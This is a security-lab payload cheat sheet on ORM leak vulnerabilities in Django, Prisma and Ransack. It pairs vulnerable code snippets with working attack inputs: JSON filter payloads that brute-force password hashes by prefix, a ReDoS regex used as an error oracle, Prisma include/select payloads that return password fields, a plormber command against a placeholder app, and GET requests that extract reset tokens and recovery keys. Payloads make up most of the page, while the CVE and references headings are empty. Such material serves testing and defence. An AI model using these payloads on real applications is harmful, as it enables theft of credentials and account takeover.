TechnoFreaks - Security Lab
12 Payloads

ORM Leak Payloads & Testing Methodology

The following code is a basic example of an ORM querying the database.

ORM Leak#

An ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of ORM queries. This can happen if the application returns raw error messages, debug information, or allows attackers to manipulate queries in ways that reveal underlying data.

Summary#

Django (Python)#

The following code is a basic example of an ORM querying the database.

py2 lines
users = User.objects.filter(**request.data)
serializer = UserSerializer(users, many=True)

The problem lies in how the Django ORM uses keyword parameter syntax to build QuerySets. By utilizing the unpack operator (**), users can dynamically control the keyword arguments passed to the filter method, allowing them to filter results according to their needs.

Query filter#

The attacker can control the column to filter results by. The ORM provides operators for matching parts of a value. These operators can utilize the SQL LIKE condition in generated queries, perform regex matching based on user-controlled patterns, or apply comparison operators such as < and >.

json4 lines
{
  "username": "admin",
  "password__startswith": "p"
}

Interesting filter to use:

  • __startswith
  • __contains
  • __regex

Relational Filtering#

Let's use this great example from PLORMBING YOUR DJANGO ORM, by Alex Brown

!UML-example-app-simplified-highlight

We can see 2 type of relationships:

  • One-to-One relationships
  • Many-to-Many Relationships

One-to-One

Filtering through user that created an article, and having a password containing the character p.

json3 lines
{
  "created_by__user__password__contains": "p"
}

Many-to-Many

Almost the same thing but you need to filter more.

  • Get the user IDS: created_by__departments__employees__user__id
  • For each ID, get the username: created_by__departments__employees__user__username
  • Finally, leak their password hash: created_by__departments__employees__user__password

Use multiple filters in the same request:

json4 lines
{
  "created_by__departments__employees__user__username__startswith": "p",
  "created_by__departments__employees__user__id": 1
}

Error-based leaking - ReDOS#

If Django use MySQL, you can also abuse a ReDOS to force an error when the filter does not properly match the condition.

json5 lines
{"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}
// => Return something

{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}  
// => Error 500 (Timeout exceeded in regular expression match)

Prisma (Node.JS)#

**Tools**:

ps17 lines
    plormber prisma-contains \
        --chars '0123456789abcdef' \
        --base-query-json '{"query": {PAYLOAD}}' \
        --leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \
        --contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \
        --verbose-stats \
        https://some.vuln.app/articles/time-based;

**Example**:

Example of an ORM leak in Node.JS with Prisma.

js3 lines
const posts = await prisma.article.findMany({
  where: req.query.filter as any // Vulnerable to ORM Leaks
})

Use the include to return all the fields of user records that have created an article

json7 lines
{
  "filter": {
    "include": {
      "createdBy": true
    }
  }
}

Select only one field

json11 lines
{
  "filter": {
    "select": {
      "createdBy": {
        "select": {
          "password": true
        }
      }
    }
  }
}

Relational Filtering#

One-to-One

Many-to-Many

json33 lines
{
  "query": {
    "createdBy": {
      "departments": {
        "some": {
          "employees": {
            "some": {
              "departments": {
                "some": {
                  "employees": {
                    "some": {
                      "departments": {
                        "some": {
                          "employees": {
                            "some": {
                              "{fieldToLeak}": {

Ransack (Ruby)#

Only in Ransack < 4.0.0.

!ransack_bruteforce_overview

  • Extracting the reset_password_token field of a user
ps16 lines
    GET /posts?q[user_reset_password_token_start]=0 -> Empty results page
    GET /posts?q[user_reset_password_token_start]=1 -> Empty results page
    GET /posts?q[user_reset_password_token_start]=2 -> Results in page

    GET /posts?q[user_reset_password_token_start]=2c -> Empty results page
    GET /posts?q[user_reset_password_token_start]=2f -> Results in page
  • Target a specific user and extract his recoveries_key
ps11 line
    GET /labs?q[creator_roles_name_cont]=​superadmin​​&q[creator_recoveries_key_start]=0

CVE#

References#